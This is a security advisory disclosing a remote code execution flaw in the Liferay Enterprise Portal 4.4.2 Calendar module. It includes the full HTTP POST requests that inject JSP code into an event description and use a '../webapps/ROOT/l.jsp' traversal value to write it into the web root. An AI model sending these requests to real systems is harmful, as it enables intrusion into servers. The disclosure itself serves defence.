Minded Security Labs: Advisory #MSA261009
Liferay Calendar "exportFileName" path manipulation

Tested Versions: 
  Liferay Enterprise Portal 4.4.2, other versions may also be affected.

    
Minded Security ReferenceID:
  MSA261009
   

Credits:
        Discovery by 
        Stefano Di Paola of Minded Security 
        stefano.dipaola [_at_] mindedsecurity.com


Reference:
        http://issues.liferay.com/browse/LPS-9556


Severity: 
        High: it is possible to execute code remotely


Solution:  
        Upgrade to the latest version.


Summary

Minded Security Consultants discovered during a penetration testing activity that
any poweruser can access his Liferay Calendar module and insert a new event and 
that he can enter arbitrary JSP code inside the event description.


Analysis

Any poweruser can access his Liferay Calendar module and insert a new event.

It is possible to enter arbitrary JSP code <%="Code Execution"%> inside the 
description, as it is possible to see in the body of the following POST request:

    POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=maximized&
    p_p_mode=view&_8_struts_action=%2Fcalendar%2Fedit_event HTTP/1.1 _8_cmd=add&_8_redirect=%2Fuser%2Fpoweruser%2F1%3Fp_p_id%3D8%26p_p_action
    %3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_8_struts_action
    %3D%252Fcalendar%252Fview%26_8_month%3D4%26_8_day%3D27%26_8_year
    %3D2010%26tabs1%3Devents&_8_eventId=0&_8_tabs1TabsScroll=
    &_8_startDateMonth=4&_8_startDateDay=27&_8_startDateYear=2010
    &_8_startDateHour=10&_8_startDateMinute=30&_8_startDateAmPm=0
    &_8_durationHour=1&_8_durationMinute=00&_8_allDay=false
    &_8_timeZoneSensitive=true&_8_timeZoneSensitiveCheckbox=on
    &_8_title=New+Event&_8_description=%3C%25%3D%22Code+Execution%22%25%3E
    &_8_type=anniversary&_8_communityPermissions=VIEW&_8_guestPermissions=VIEW
    &_8_inputPermissionsShowConfigure=false&_8_inputPermissionsShowMore=false
    &_8_tabs1TabsScroll=&_8_recurrenceType=7&_8_dailyType=0&_8_dailyInterval=1
    &_8_weeklyInterval=1&_8_monthlyType=0&_8_monthlyDay0=15
    &_8_monthlyInterval0=1&_8_monthlyPos=1&_8_monthlyDay1=1
    &_8_monthlyInterval1=1&_8_yearlyType=0&_8_yearlyMonth0=0&_8_yearlyDay0=15
    &_8_yearlyInterval0=1&_8_yearlyPos=1&_8_yearlyDay1=1&_8_yearlyMonth1=0
    &_8_yearlyInterval1=1&_8_endDateType=0&_8_endDateMonth=4&_8_endDateDay=27
    &_8_endDateYear=2011&_8_endDateHour=10&_8_endDateMinute=21&_8_endDateAmPm=0
    &_8_tabs1TabsScroll=&_8_firstReminder=900000&_8_secondReminder=300000
    &_8_remindBy=email 


Now he can export his event list to an arbitrary file. Specifying an arbitrary 
filename in the ROOT path of the liferay application (ex: webapps/ROOT/l.jsp) 
liferay portal will create a file with jsp extension:

    POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=exclusive&
    p_p_mode=view&_8_struts_action=%2Fcalendar%2Fexport_events HTTP/1.1 _8_tabs1TabsScroll=&_8_tabs1TabsScroll=
    &exportFileName=../webapps/ROOT/l.jsp&_8_tabs1TabsScroll=&_8_importFile= 



The name of the new file created will be specified in the response:

    HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: public Pragma: public Content-Disposition: attachment; filename="l11661.jsp" Content-Type: text/html;charset=UTF-8 Date: Thu, 27 May 2010 10:22:11 GMT Content-Length: 326 


Now the malicious Power User can execute the previous code simply by requesting 
the file named "l11661.jsp".


Disclosure Timeline

26/10/09 Issue found
12/05/10 Reported to Vendor


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